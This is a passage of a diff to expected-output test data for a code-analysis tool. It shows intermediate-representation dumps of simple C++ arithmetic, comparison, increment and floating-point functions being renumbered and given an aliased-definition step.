r0_163(glval) = VariableAddress[z] : -# 84| mu0_164(int) = Store : r0_163, r0_162 -# 85| v0_165(void) = NoOp : -# 50| v0_166(void) = ReturnVoid : -# 50| v0_167(void) = UnmodeledUse : mu* -# 50| v0_168(void) = ExitFunction : +# 50| mu0_1(unknown) = AliasedDefinition : +# 50| mu0_2(unknown) = UnmodeledDefinition : +# 50| r0_3(glval) = VariableAddress[x] : +# 50| mu0_4(int) = InitializeParameter[x] : r0_3 +# 50| r0_5(glval) = VariableAddress[y] : +# 50| mu0_6(int) = InitializeParameter[y] : r0_5 +# 51| r0_7(glval) = VariableAddress[z] : +# 51| mu0_8(int) = Uninitialized[z] : r0_7 +# 53| r0_9(glval) = VariableAddress[x] : +# 53| r0_10(int) = Load : r0_9, mu0_2 +# 53| r0_11(glval) = VariableAddress[y] : +# 53| r0_12(int) = Load : r0_11, mu0_2 +# 53| r0_13(int) = Add : r0_10, r0_12 +# 53| r0_14(glval) = VariableAddress[z] : +# 53| mu0_15(int) = Store : r0_14, r0_13 +# 54| r0_16(glval) = VariableAddress[x] : +# 54| r0_17(int) = Load : r0_16, mu0_2 +# 54| r0_18(glval) = VariableAddress[y] : +# 54| r0_19(int) = Load : r0_18, mu0_2 +# 54| r0_20(int) = Sub : r0_17, r0_19 +# 54| r0_21(glval) = VariableAddress[z] : +# 54| mu0_22(int) = Store : r0_21, r0_20 +# 55| r0_23(glval) = VariableAddress[x] : +# 55| r0_24(int) = Load : r0_23, mu0_2 +# 55| r0_25(glval) = VariableAddress[y] : +# 55| r0_26(int) = Load : r0_25, mu0_2 +# 55| r0_27(int) = Mul : r0_24, r0_26 +# 55| r0_28(glval) = VariableAddress[z] : +# 55| mu0_29(int) = Store : r0_28, r0_27 +# 56| r0_30(glval) = VariableAddress[x] : +# 56| r0_31(int) = Load : r0_30, mu0_2 +# 56| r0_32(glval) = VariableAddress[y] : +# 56| r0_33(int) = Load : r0_32, mu0_2 +# 56| r0_34(int) = Div : r0_31, r0_33 +# 56| r0_35(glval) = VariableAddress[z] : +# 56| mu0_36(int) = Store : r0_35, r0_34 +# 57| r0_37(glval) = VariableAddress[x] : +# 57| r0_38(int) = Load : r0_37, mu0_2 +# 57| r0_39(glval) = VariableAddress[y] : +# 57| r0_40(int) = Load : r0_39, mu0_2 +# 57| r0_41(int) = Rem : r0_38, r0_40 +# 57| r0_42(glval) = VariableAddress[z] : +# 57| mu0_43(int) = Store : r0_42, r0_41 +# 59| r0_44(glval) = VariableAddress[x] : +# 59| r0_45(int) = Load : r0_44, mu0_2 +# 59| r0_46(glval) = VariableAddress[y] : +# 59| r0_47(int) = Load : r0_46, mu0_2 +# 59| r0_48(int) = BitAnd : r0_45, r0_47 +# 59| r0_49(glval) = VariableAddress[z] : +# 59| mu0_50(int) = Store : r0_49, r0_48 +# 60| r0_51(glval) = VariableAddress[x] : +# 60| r0_52(int) = Load : r0_51, mu0_2 +# 60| r0_53(glval) = VariableAddress[y] : +# 60| r0_54(int) = Load : r0_53, mu0_2 +# 60| r0_55(int) = BitOr : r0_52, r0_54 +# 60| r0_56(glval) = VariableAddress[z] : +# 60| mu0_57(int) = Store : r0_56, r0_55 +# 61| r0_58(glval) = VariableAddress[x] : +# 61| r0_59(int) = Load : r0_58, mu0_2 +# 61| r0_60(glval) = VariableAddress[y] : +# 61| r0_61(int) = Load : r0_60, mu0_2 +# 61| r0_62(int) = BitXor : r0_59, r0_61 +# 61| r0_63(glval) = VariableAddress[z] : +# 61| mu0_64(int) = Store : r0_63, r0_62 +# 63| r0_65(glval) = VariableAddress[x] : +# 63| r0_66(int) = Load : r0_65, mu0_2 +# 63| r0_67(glval) = VariableAddress[y] : +# 63| r0_68(int) = Load : r0_67, mu0_2 +# 63| r0_69(int) = ShiftLeft : r0_66, r0_68 +# 63| r0_70(glval) = VariableAddress[z] : +# 63| mu0_71(int) = Store : r0_70, r0_69 +# 64| r0_72(glval) = VariableAddress[x] : +# 64| r0_73(int) = Load : r0_72, mu0_2 +# 64| r0_74(glval) = VariableAddress[y] : +# 64| r0_75(int) = Load : r0_74, mu0_2 +# 64| r0_76(int) = ShiftRight : r0_73, r0_75 +# 64| r0_77(glval) = VariableAddress[z] : +# 64| mu0_78(int) = Store : r0_77, r0_76 +# 66| r0_79(glval) = VariableAddress[x] : +# 66| r0_80(int) = Load : r0_79, mu0_2 +# 66| r0_81(glval) = VariableAddress[z] : +# 66| mu0_82(int) = Store : r0_81, r0_80 +# 68| r0_83(glval) = VariableAddress[x] : +# 68| r0_84(int) = Load : r0_83, mu0_2 +# 68| r0_85(glval) = VariableAddress[z] : +# 68| r0_86(int) = Load : r0_85, mu0_2 +# 68| r0_87(int) = Add : r0_86, r0_84 +# 68| mu0_88(int) = Store : r0_85, r0_87 +# 69| r0_89(glval) = VariableAddress[x] : +# 69| r0_90(int) = Load : r0_89, mu0_2 +# 69| r0_91(glval) = VariableAddress[z] : +# 69| r0_92(int) = Load : r0_91, mu0_2 +# 69| r0_93(int) = Sub : r0_92, r0_90 +# 69| mu0_94(int) = Store : r0_91, r0_93 +# 70| r0_95(glval) = VariableAddress[x] : +# 70| r0_96(int) = Load : r0_95, mu0_2 +# 70| r0_97(glval) = VariableAddress[z] : +# 70| r0_98(int) = Load : r0_97, mu0_2 +# 70| r0_99(int) = Mul : r0_98, r0_96 +# 70| mu0_100(int) = Store : r0_97, r0_99 +# 71| r0_101(glval) = VariableAddress[x] : +# 71| r0_102(int) = Load : r0_101, mu0_2 +# 71| r0_103(glval) = VariableAddress[z] : +# 71| r0_104(int) = Load : r0_103, mu0_2 +# 71| r0_105(int) = Div : r0_104, r0_102 +# 71| mu0_106(int) = Store : r0_103, r0_105 +# 72| r0_107(glval) = VariableAddress[x] : +# 72| r0_108(int) = Load : r0_107, mu0_2 +# 72| r0_109(glval) = VariableAddress[z] : +# 72| r0_110(int) = Load : r0_109, mu0_2 +# 72| r0_111(int) = Rem : r0_110, r0_108 +# 72| mu0_112(int) = Store : r0_109, r0_111 +# 74| r0_113(glval) = VariableAddress[x] : +# 74| r0_114(int) = Load : r0_113, mu0_2 +# 74| r0_115(glval) = VariableAddress[z] : +# 74| r0_116(int) = Load : r0_115, mu0_2 +# 74| r0_117(int) = BitAnd : r0_116, r0_114 +# 74| mu0_118(int) = Store : r0_115, r0_117 +# 75| r0_119(glval) = VariableAddress[x] : +# 75| r0_120(int) = Load : r0_119, mu0_2 +# 75| r0_121(glval) = VariableAddress[z] : +# 75| r0_122(int) = Load : r0_121, mu0_2 +# 75| r0_123(int) = BitOr : r0_122, r0_120 +# 75| mu0_124(int) = Store : r0_121, r0_123 +# 76| r0_125(glval) = VariableAddress[x] : +# 76| r0_126(int) = Load : r0_125, mu0_2 +# 76| r0_127(glval) = VariableAddress[z] : +# 76| r0_128(int) = Load : r0_127, mu0_2 +# 76| r0_129(int) = BitXor : r0_128, r0_126 +# 76| mu0_130(int) = Store : r0_127, r0_129 +# 78| r0_131(glval) = VariableAddress[x] : +# 78| r0_132(int) = Load : r0_131, mu0_2 +# 78| r0_133(glval) = VariableAddress[z] : +# 78| r0_134(int) = Load : r0_133, mu0_2 +# 78| r0_135(int) = ShiftLeft : r0_134, r0_132 +# 78| mu0_136(int) = Store : r0_133, r0_135 +# 79| r0_137(glval) = VariableAddress[x] : +# 79| r0_138(int) = Load : r0_137, mu0_2 +# 79| r0_139(glval) = VariableAddress[z] : +# 79| r0_140(int) = Load : r0_139, mu0_2 +# 79| r0_141(int) = ShiftRight : r0_140, r0_138 +# 79| mu0_142(int) = Store : r0_139, r0_141 +# 81| r0_143(glval) = VariableAddress[x] : +# 81| r0_144(int) = Load : r0_143, mu0_2 +# 81| r0_145(int) = CopyValue : r0_144 +# 81| r0_146(glval) = VariableAddress[z] : +# 81| mu0_147(int) = Store : r0_146, r0_145 +# 82| r0_148(glval) = VariableAddress[x] : +# 82| r0_149(int) = Load : r0_148, mu0_2 +# 82| r0_150(int) = Negate : r0_149 +# 82| r0_151(glval) = VariableAddress[z] : +# 82| mu0_152(int) = Store : r0_151, r0_150 +# 83| r0_153(glval) = VariableAddress[x] : +# 83| r0_154(int) = Load : r0_153, mu0_2 +# 83| r0_155(int) = BitComplement : r0_154 +# 83| r0_156(glval) = VariableAddress[z] : +# 83| mu0_157(int) = Store : r0_156, r0_155 +# 84| r0_158(glval) = VariableAddress[x] : +# 84| r0_159(int) = Load : r0_158, mu0_2 +# 84| r0_160(int) = Constant[0] : +# 84| r0_161(bool) = CompareNE : r0_159, r0_160 +# 84| r0_162(bool) = LogicalNot : r0_161 +# 84| r0_163(int) = Convert : r0_162 +# 84| r0_164(glval) = VariableAddress[z] : +# 84| mu0_165(int) = Store : r0_164, r0_163 +# 85| v0_166(void) = NoOp : +# 50| v0_167(void) = ReturnVoid : +# 50| v0_168(void) = UnmodeledUse : mu* +# 50| v0_169(void) = ExitFunction : # 87| IntegerCompare(int, int) -> void # 87| Block 0 # 87| v0_0(void) = EnterFunction : -# 87| mu0_1(unknown) = UnmodeledDefinition : -# 87| r0_2(glval) = VariableAddress[x] : -# 87| mu0_3(int) = InitializeParameter[x] : r0_2 -# 87| r0_4(glval) = VariableAddress[y] : -# 87| mu0_5(int) = InitializeParameter[y] : r0_4 -# 88| r0_6(glval) = VariableAddress[b] : -# 88| mu0_7(bool) = Uninitialized : r0_6 -# 90| r0_8(glval) = VariableAddress[x] : -# 90| r0_9(int) = Load : r0_8, mu0_1 -# 90| r0_10(glval) = VariableAddress[y] : -# 90| r0_11(int) = Load : r0_10, mu0_1 -# 90| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 90| r0_13(glval) = VariableAddress[b] : -# 90| mu0_14(bool) = Store : r0_13, r0_12 -# 91| r0_15(glval) = VariableAddress[x] : -# 91| r0_16(int) = Load : r0_15, mu0_1 -# 91| r0_17(glval) = VariableAddress[y] : -# 91| r0_18(int) = Load : r0_17, mu0_1 -# 91| r0_19(bool) = CompareNE : r0_16, r0_18 -# 91| r0_20(glval) = VariableAddress[b] : -# 91| mu0_21(bool) = Store : r0_20, r0_19 -# 92| r0_22(glval) = VariableAddress[x] : -# 92| r0_23(int) = Load : r0_22, mu0_1 -# 92| r0_24(glval) = VariableAddress[y] : -# 92| r0_25(int) = Load : r0_24, mu0_1 -# 92| r0_26(bool) = CompareLT : r0_23, r0_25 -# 92| r0_27(glval) = VariableAddress[b] : -# 92| mu0_28(bool) = Store : r0_27, r0_26 -# 93| r0_29(glval) = VariableAddress[x] : -# 93| r0_30(int) = Load : r0_29, mu0_1 -# 93| r0_31(glval) = VariableAddress[y] : -# 93| r0_32(int) = Load : r0_31, mu0_1 -# 93| r0_33(bool) = CompareGT : r0_30, r0_32 -# 93| r0_34(glval) = VariableAddress[b] : -# 93| mu0_35(bool) = Store : r0_34, r0_33 -# 94| r0_36(glval) = VariableAddress[x] : -# 94| r0_37(int) = Load : r0_36, mu0_1 -# 94| r0_38(glval) = VariableAddress[y] : -# 94| r0_39(int) = Load : r0_38, mu0_1 -# 94| r0_40(bool) = CompareLE : r0_37, r0_39 -# 94| r0_41(glval) = VariableAddress[b] : -# 94| mu0_42(bool) = Store : r0_41, r0_40 -# 95| r0_43(glval) = VariableAddress[x] : -# 95| r0_44(int) = Load : r0_43, mu0_1 -# 95| r0_45(glval) = VariableAddress[y] : -# 95| r0_46(int) = Load : r0_45, mu0_1 -# 95| r0_47(bool) = CompareGE : r0_44, r0_46 -# 95| r0_48(glval) = VariableAddress[b] : -# 95| mu0_49(bool) = Store : r0_48, r0_47 -# 96| v0_50(void) = NoOp : -# 87| v0_51(void) = ReturnVoid : -# 87| v0_52(void) = UnmodeledUse : mu* -# 87| v0_53(void) = ExitFunction : +# 87| mu0_1(unknown) = AliasedDefinition : +# 87| mu0_2(unknown) = UnmodeledDefinition : +# 87| r0_3(glval) = VariableAddress[x] : +# 87| mu0_4(int) = InitializeParameter[x] : r0_3 +# 87| r0_5(glval) = VariableAddress[y] : +# 87| mu0_6(int) = InitializeParameter[y] : r0_5 +# 88| r0_7(glval) = VariableAddress[b] : +# 88| mu0_8(bool) = Uninitialized[b] : r0_7 +# 90| r0_9(glval) = VariableAddress[x] : +# 90| r0_10(int) = Load : r0_9, mu0_2 +# 90| r0_11(glval) = VariableAddress[y] : +# 90| r0_12(int) = Load : r0_11, mu0_2 +# 90| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 90| r0_14(glval) = VariableAddress[b] : +# 90| mu0_15(bool) = Store : r0_14, r0_13 +# 91| r0_16(glval) = VariableAddress[x] : +# 91| r0_17(int) = Load : r0_16, mu0_2 +# 91| r0_18(glval) = VariableAddress[y] : +# 91| r0_19(int) = Load : r0_18, mu0_2 +# 91| r0_20(bool) = CompareNE : r0_17, r0_19 +# 91| r0_21(glval) = VariableAddress[b] : +# 91| mu0_22(bool) = Store : r0_21, r0_20 +# 92| r0_23(glval) = VariableAddress[x] : +# 92| r0_24(int) = Load : r0_23, mu0_2 +# 92| r0_25(glval) = VariableAddress[y] : +# 92| r0_26(int) = Load : r0_25, mu0_2 +# 92| r0_27(bool) = CompareLT : r0_24, r0_26 +# 92| r0_28(glval) = VariableAddress[b] : +# 92| mu0_29(bool) = Store : r0_28, r0_27 +# 93| r0_30(glval) = VariableAddress[x] : +# 93| r0_31(int) = Load : r0_30, mu0_2 +# 93| r0_32(glval) = VariableAddress[y] : +# 93| r0_33(int) = Load : r0_32, mu0_2 +# 93| r0_34(bool) = CompareGT : r0_31, r0_33 +# 93| r0_35(glval) = VariableAddress[b] : +# 93| mu0_36(bool) = Store : r0_35, r0_34 +# 94| r0_37(glval) = VariableAddress[x] : +# 94| r0_38(int) = Load : r0_37, mu0_2 +# 94| r0_39(glval) = VariableAddress[y] : +# 94| r0_40(int) = Load : r0_39, mu0_2 +# 94| r0_41(bool) = CompareLE : r0_38, r0_40 +# 94| r0_42(glval) = VariableAddress[b] : +# 94| mu0_43(bool) = Store : r0_42, r0_41 +# 95| r0_44(glval) = VariableAddress[x] : +# 95| r0_45(int) = Load : r0_44, mu0_2 +# 95| r0_46(glval) = VariableAddress[y] : +# 95| r0_47(int) = Load : r0_46, mu0_2 +# 95| r0_48(bool) = CompareGE : r0_45, r0_47 +# 95| r0_49(glval) = VariableAddress[b] : +# 95| mu0_50(bool) = Store : r0_49, r0_48 +# 96| v0_51(void) = NoOp : +# 87| v0_52(void) = ReturnVoid : +# 87| v0_53(void) = UnmodeledUse : mu* +# 87| v0_54(void) = ExitFunction : # 98| IntegerCrement(int) -> void # 98| Block 0 # 98| v0_0(void) = EnterFunction : -# 98| mu0_1(unknown) = UnmodeledDefinition : -# 98| r0_2(glval) = VariableAddress[x] : -# 98| mu0_3(int) = InitializeParameter[x] : r0_2 -# 99| r0_4(glval) = VariableAddress[y] : -# 99| mu0_5(int) = Uninitialized : r0_4 -# 101| r0_6(glval) = VariableAddress[x] : -# 101| r0_7(int) = Load : r0_6, mu0_1 -# 101| r0_8(int) = Constant[1] : -# 101| r0_9(int) = Add : r0_7, r0_8 -# 101| mu0_10(int) = Store : r0_6, r0_9 -# 101| r0_11(glval) = VariableAddress[y] : -# 101| mu0_12(int) = Store : r0_11, r0_9 -# 102| r0_13(glval) = VariableAddress[x] : -# 102| r0_14(int) = Load : r0_13, mu0_1 -# 102| r0_15(int) = Constant[1] : -# 102| r0_16(int) = Sub : r0_14, r0_15 -# 102| mu0_17(int) = Store : r0_13, r0_16 -# 102| r0_18(glval) = VariableAddress[y] : -# 102| mu0_19(int) = Store : r0_18, r0_16 -# 103| r0_20(glval) = VariableAddress[x] : -# 103| r0_21(int) = Load : r0_20, mu0_1 -# 103| r0_22(int) = Constant[1] : -# 103| r0_23(int) = Add : r0_21, r0_22 -# 103| mu0_24(int) = Store : r0_20, r0_23 -# 103| r0_25(glval) = VariableAddress[y] : -# 103| mu0_26(int) = Store : r0_25, r0_21 -# 104| r0_27(glval) = VariableAddress[x] : -# 104| r0_28(int) = Load : r0_27, mu0_1 -# 104| r0_29(int) = Constant[1] : -# 104| r0_30(int) = Sub : r0_28, r0_29 -# 104| mu0_31(int) = Store : r0_27, r0_30 -# 104| r0_32(glval) = VariableAddress[y] : -# 104| mu0_33(int) = Store : r0_32, r0_28 -# 105| v0_34(void) = NoOp : -# 98| v0_35(void) = ReturnVoid : -# 98| v0_36(void) = UnmodeledUse : mu* -# 98| v0_37(void) = ExitFunction : +# 98| mu0_1(unknown) = AliasedDefinition : +# 98| mu0_2(unknown) = UnmodeledDefinition : +# 98| r0_3(glval) = VariableAddress[x] : +# 98| mu0_4(int) = InitializeParameter[x] : r0_3 +# 99| r0_5(glval) = VariableAddress[y] : +# 99| mu0_6(int) = Uninitialized[y] : r0_5 +# 101| r0_7(glval) = VariableAddress[x] : +# 101| r0_8(int) = Load : r0_7, mu0_2 +# 101| r0_9(int) = Constant[1] : +# 101| r0_10(int) = Add : r0_8, r0_9 +# 101| mu0_11(int) = Store : r0_7, r0_10 +# 101| r0_12(glval) = VariableAddress[y] : +# 101| mu0_13(int) = Store : r0_12, r0_10 +# 102| r0_14(glval) = VariableAddress[x] : +# 102| r0_15(int) = Load : r0_14, mu0_2 +# 102| r0_16(int) = Constant[1] : +# 102| r0_17(int) = Sub : r0_15, r0_16 +# 102| mu0_18(int) = Store : r0_14, r0_17 +# 102| r0_19(glval) = VariableAddress[y] : +# 102| mu0_20(int) = Store : r0_19, r0_17 +# 103| r0_21(glval) = VariableAddress[x] : +# 103| r0_22(int) = Load : r0_21, mu0_2 +# 103| r0_23(int) = Constant[1] : +# 103| r0_24(int) = Add : r0_22, r0_23 +# 103| mu0_25(int) = Store : r0_21, r0_24 +# 103| r0_26(glval) = VariableAddress[y] : +# 103| mu0_27(int) = Store : r0_26, r0_22 +# 104| r0_28(glval) = VariableAddress[x] : +# 104| r0_29(int) = Load : r0_28, mu0_2 +# 104| r0_30(int) = Constant[1] : +# 104| r0_31(int) = Sub : r0_29, r0_30 +# 104| mu0_32(int) = Store : r0_28, r0_31 +# 104| r0_33(glval) = VariableAddress[y] : +# 104| mu0_34(int) = Store : r0_33, r0_29 +# 105| v0_35(void) = NoOp : +# 98| v0_36(void) = ReturnVoid : +# 98| v0_37(void) = UnmodeledUse : mu* +# 98| v0_38(void) = ExitFunction : # 107| IntegerCrement_LValue(int) -> void # 107| Block 0 # 107| v0_0(void) = EnterFunction : -# 107| mu0_1(unknown) = UnmodeledDefinition : -# 107| r0_2(glval) = VariableAddress[x] : -# 107| mu0_3(int) = InitializeParameter[x] : r0_2 -# 108| r0_4(glval) = VariableAddress[p] : -# 108| mu0_5(int *) = Uninitialized : r0_4 -# 110| r0_6(glval) = VariableAddress[x] : -# 110| r0_7(int) = Load : r0_6, mu0_1 -# 110| r0_8(int) = Constant[1] : -# 110| r0_9(int) = Add : r0_7, r0_8 -# 110| mu0_10(int) = Store : r0_6, r0_9 -# 110| r0_11(glval) = VariableAddress[p] : -# 110| mu0_12(int *) = Store : r0_11, r0_6 -# 111| r0_13(glval) = VariableAddress[x] : -# 111| r0_14(int) = Load : r0_13, mu0_1 -# 111| r0_15(int) = Constant[1] : -# 111| r0_16(int) = Sub : r0_14, r0_15 -# 111| mu0_17(int) = Store : r0_13, r0_16 -# 111| r0_18(glval) = VariableAddress[p] : -# 111| mu0_19(int *) = Store : r0_18, r0_13 -# 112| v0_20(void) = NoOp : -# 107| v0_21(void) = ReturnVoid : -# 107| v0_22(void) = UnmodeledUse : mu* -# 107| v0_23(void) = ExitFunction : +# 107| mu0_1(unknown) = AliasedDefinition : +# 107| mu0_2(unknown) = UnmodeledDefinition : +# 107| r0_3(glval) = VariableAddress[x] : +# 107| mu0_4(int) = InitializeParameter[x] : r0_3 +# 108| r0_5(glval) = VariableAddress[p] : +# 108| mu0_6(int *) = Uninitialized[p] : r0_5 +# 110| r0_7(glval) = VariableAddress[x] : +# 110| r0_8(int) = Load : r0_7, mu0_2 +# 110| r0_9(int) = Constant[1] : +# 110| r0_10(int) = Add : r0_8, r0_9 +# 110| mu0_11(int) = Store : r0_7, r0_10 +# 110| r0_12(glval) = VariableAddress[p] : +# 110| mu0_13(int *) = Store : r0_12, r0_7 +# 111| r0_14(glval) = VariableAddress[x] : +# 111| r0_15(int) = Load : r0_14, mu0_2 +# 111| r0_16(int) = Constant[1] : +# 111| r0_17(int) = Sub : r0_15, r0_16 +# 111| mu0_18(int) = Store : r0_14, r0_17 +# 111| r0_19(glval) = VariableAddress[p] : +# 111| mu0_20(int *) = Store : r0_19, r0_14 +# 112| v0_21(void) = NoOp : +# 107| v0_22(void) = ReturnVoid : +# 107| v0_23(void) = UnmodeledUse : mu* +# 107| v0_24(void) = ExitFunction : # 114| FloatOps(double, double) -> void # 114| Block 0 # 114| v0_0(void) = EnterFunction : -# 114| mu0_1(unknown) = UnmodeledDefinition : -# 114| r0_2(glval) = VariableAddress[x] : -# 114| mu0_3(double) = InitializeParameter[x] : r0_2 -# 114| r0_4(glval) = VariableAddress[y] : -# 114| mu0_5(double) = InitializeParameter[y] : r0_4 -# 115| r0_6(glval) = VariableAddress[z] : -# 115| mu0_7(double) = Uninitialized : r0_6 -# 117| r0_8(glval) = VariableAddress[x] : -# 117| r0_9(double) = Load : r0_8, mu0_1 -# 117| r0_10(glval) = VariableAddress[y] : -# 117| r0_11(double) = Load : r0_10, mu0_1 -# 117| r0_12(double) = Add : r0_9, r0_11 -# 117| r0_13(glval) = VariableAddress[z] : -# 117| mu0_14(double) = Store : r0_13, r0_12 -# 118| r0_15(glval) = VariableAddress[x] : -# 118| r0_16(double) = Load : r0_15, mu0_1 -# 118| r0_17(glval) = VariableAddress[y] : -# 118| r0_18(double) = Load : r0_17, mu0_1 -# 118| r0_19(double) = Sub : r0_16, r0_18 -# 118| r0_20(glval) = VariableAddress[z] : -# 118| mu0_21(double) = Store : r0_20, r0_19 -# 119| r0_22(glval) = VariableAddress[x] : -# 119| r0_23(double) = Load : r0_22, mu0_1 -# 119| r0_24(glval) = VariableAddress[y] : -# 119| r0_25(double) = Load : r0_24, mu0_1 -# 119| r0_26(double) = Mul : r0_23, r0_25 -# 119| r0_27(glval) = VariableAddress[z] : -# 119| mu0_28(double) = Store : r0_27, r0_26 -# 120| r0_29(glval) = VariableAddress[x] : -# 120| r0_30(double) = Load : r0_29, mu0_1 -# 120| r0_31(glval) = VariableAddress[y] : -# 120| r0_32(double) = Load : r0_31, mu0_1 -# 120| r0_33(double) = Div : r0_30, r0_32 -# 120| r0_34(glval) = VariableAddress[z] : -# 120| mu0_35(double) = Store : r0_34, r0_33 -# 122| r0_36(glval) = VariableAddress[x] : -# 122| r0_37(double) = Load : r0_36, mu0_1 -# 122| r0_38(glval) = VariableAddress[z] : -# 122| mu0_39(double) = Store : r0_38, r0_37 -# 124| r0_40(glval) = VariableAddress[x] : -# 124| r0_41(double) = Load : r0_40, mu0_1 -# 124| r0_42(glval) = VariableAddress[z] : -# 124| r0_43(double) = Load : r0_42, mu0_1 -# 124| r0_44(double) = Add : r0_43, r0_41 -# 124| mu0_45(double) = Store : r0_42, r0_44 -# 125| r0_46(glval) = VariableAddress[x] : -# 125| r0_47(double) = Load : r0_46, mu0_1 -# 125| r0_48(glval) = VariableAddress[z] : -# 125| r0_49(double) = Load : r0_48, mu0_1 -# 125| r0_50(double) = Sub : r0_49, r0_47 -# 125| mu0_51(double) = Store : r0_48, r0_50 -# 126| r0_52(glval) = VariableAddress[x] : -# 126| r0_53(double) = Load : r0_52, mu0_1 -# 126| r0_54(glval) = VariableAddress[z] : -# 126| r0_55(double) = Load : r0_54, mu0_1 -# 126| r0_56(double) = Mul : r0_55, r0_53 -# 126| mu0_57(double) = Store : r0_54, r0_56 -# 127| r0_58(glval) = VariableAddress[x] : -# 127| r0_59(double) = Load : r0_58, mu0_1 -# 127| r0_60(glval) = VariableAddress[z] : -# 127| r0_61(double) = Load : r0_60, mu0_1 -# 127| r0_62(double) = Div : r0_61, r0_59 -# 127| mu0_63(double) = Store : r0_60, r0_62 -# 129| r0_64(glval) = VariableAddress[x] : -# 129| r0_65(double) = Load : r0_64, mu0_1 -# 129| r0_66(double) = CopyValue : r0_65 -# 129| r0_67(glval) = VariableAddress[z] : -# 129| mu0_68(double) = Store : r0_67, r0_66 -# 130| r0_69(glval) = VariableAddress[x] : -# 130| r0_70(double) = Load : r0_69, mu0_1 -# 130| r0_71(double) = Negate : r0_70 -# 130| r0_72(glval) = VariableAddress[z] : -# 130| mu0_73(double) = Store : r0_72, r0_71 -# 131| v0_74(void) = NoOp : -# 114| v0_75(void) = ReturnVoid : -# 114| v0_76(void) = UnmodeledUse : mu* -# 114| v0_77(void) = ExitFunction : +# 114| mu0_1(unknown) = AliasedDefinition : +# 114| mu0_2(unknown) = UnmodeledDefinition : +# 114| r0_3(glval) = VariableAddress[x] : +# 114| mu0_4(double) = InitializeParameter[x] : r0_3 +# 114| r0_5(glval) = VariableAddress[y] : +# 114| mu0_6(double) = InitializeParameter[y] : r0_5 +# 115| r0_7(glval) = VariableAddress[z] : +# 115| mu0_8(double) = Uninitialized[z] : r0_7 +# 117| r0_9(glval) = VariableAddress[x] : +# 117| r0_10(double) = Load : r0_9, mu0_2 +# 117| r0_11(glval) = VariableAddress[y] : +# 117| r0_12(double) = Load : r0_11, mu0_2 +# 117| r0_13(double) = Add : r0_10, r0_12 +# 117| r0_14(glval) = VariableAddress[z] : +# 117| mu0_15(double) = Store : r0_14, r0_13 +# 118| r0_16(glval) = VariableAddress[x] : +# 118| r0_17(double) = Load : r0_16, mu0_2 +# 118| r0_18(glval) = VariableAddress[y] : +# 118| r0_19(double) = Load : r0_18, mu0_2 +# 118| r0_20(double) = Sub : r0_17, r0_19 +# 118| r0_21(glval) = VariableAddress[z] : +# 118| mu0_22(double) = Store : r0_21, r0_20 +# 119| r0_23(glval) = VariableAddress[x] : +# 119| r0_24(double) = Load : r0_23, mu0_2 +# 119| r0_25(glval) = VariableAddress[y] : +# 119| r0_26(double) = Load : r0_25, mu0_2 +# 119| r0_27(double) = Mul : r0_24, r0_26 +# 119| r0_28(glval) = VariableAddress[z] : +# 119| mu0_29(double) = Store : r0_28, r0_27 +# 120| r0_30(glval) = VariableAddress[x] : +# 120| r0_31(double) = Load : r0_30, mu0_2 +# 120| r0_32(glval) = VariableAddress[y] : +# 120| r0_33(double) = Load : r0_32, mu0_2 +# 120| r0_34(double) = Div : r0_31, r0_33 +# 120| r0_35(glval) = VariableAddress[z] : +# 120| mu0_36(double) = Store : r0_35, r0_34 +# 122| r0_37(glval) = VariableAddress[x] : +# 122| r0_38(double) = Load : r0_37, mu0_2 +# 122| r0_39(glval) = VariableAddress[z] : +# 122| mu0_40(double) = Store : r0_39, r0_38 +# 124| r0_41(glval) = VariableAddress[x] : +# 124| r0_42(double) = Load : r0_41, mu0_2 +# 124| r0_43(glval) = VariableAddress[z] : +# 124| r0_44(double) = Load : r0_43, mu0_2 +# 124| r0_45(double) = Add : r0_44, r0_42 +# 124| mu0_46(double) = Store : r0_43, r0_45 +# 125| r0_47(glval) = VariableAddress[x] : +# 125| r0_48(double) = Load : r0_47, mu0_2 +# 125| r0_49(glval) = VariableAddress[z] : +# 125| r0_50(double) = Load : r0_49, mu0_2 +# 125| r0_51(double) = Sub : r0_50, r0_48 +# 125| mu0_52(double) = Store : r0_49, r0_51 +# 126| r0_53(glval) = VariableAddress[x] : +# 126| r0_54(double) = Load : r0_53, mu0_2 +# 126| r0_55(glval) = VariableAddress[z] : +# 126| r0_56(double) = Load : r0_55, mu0_2 +# 126| r0_57(double) = Mul : r0_56, r0_54 +# 126| mu0_58(double) = Store : r0_55, r0_57 +# 127| r0_59(glval) = VariableAddress[x] : +# 127| r0_60(double) = Load : r0_59, mu0_2 +# 127| r0_61(glval) = VariableAddress[z] : +# 127| r0_62(double) = Load : r0_61, mu0_2 +# 127| r0_63(double) = Div : r0_62, r0_60 +# 127| mu0_64(double) = Store : r0_61, r0_63 +# 129| r0_65(glval) = VariableAddress[x] : +# 129| r0_66(double) = Load : r0_65, mu0_2 +# 129| r0_67(double) = CopyValue : r0_66 +# 129| r0_68(glval) = VariableAddress[z] : +# 129| mu0_69(double) = Store : r0_68, r0_67 +# 130| r0_70(glval) = VariableAddress[x] : +# 130| r0_71(double) = Load : r0_70, mu0_2 +# 130| r0_72(double) = Negate : r0_71 +# 130| r0_73(glval) = VariableAddress[z] : +# 130| mu0_74(double) = Store : r0_73, r0_72 +# 131| v0_75(void) = NoOp : +# 114| v0_76(void) = ReturnVoid : +# 114| v0_77(void) = UnmodeledUse : mu* +# 114| v0_78(void) = ExitFunction : # 133| FloatCompare(double, double) -> void # 133| Block 0 # 133| v0_0(void) = EnterFunction : -# 133| mu0_1(unknown) = UnmodeledDefinition : -# 133| r0_2(glval) = VariableAddress[x] : -# 133| mu0_3(double) = InitializeParameter[x] : r0_2 -# 133| r0_4(glval) = VariableAddress[y] : -# 133| mu0_5(double) = InitializeParameter[y] : r0_4 -# 134| r0_6(glval) = VariableAddress[b] : -# 134| mu0_7(bool) = Uninitialized : r0_6 -# 136| r0_8(glval) = VariableAddress[x] : -# 136| r0_9(double) = Load : r0_8, mu0_1 -# 136| r0_10(glval) = VariableAddress[y] : -# 136| r0_11(double) = Load : r0_10, mu0_1 -# 136| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 136| r0_13(glval) = VariableAddress[b] : -# 136| mu0_14(bool) = Store : r0_13, r0_12 -# 137| r0_15(glval) = VariableAddress[x] : -# 137| r0_16(double) = Load : r0_15, mu0_1 -# 137| r0_17(glval) = VariableAddress[y] : -# 137| r0_18(double) = Load : r0_17, mu0_1 -# 137| r0_19(bool) = CompareNE : r0_16, r0_18 -# 137| r0_20(glval) = VariableAddress[b] : 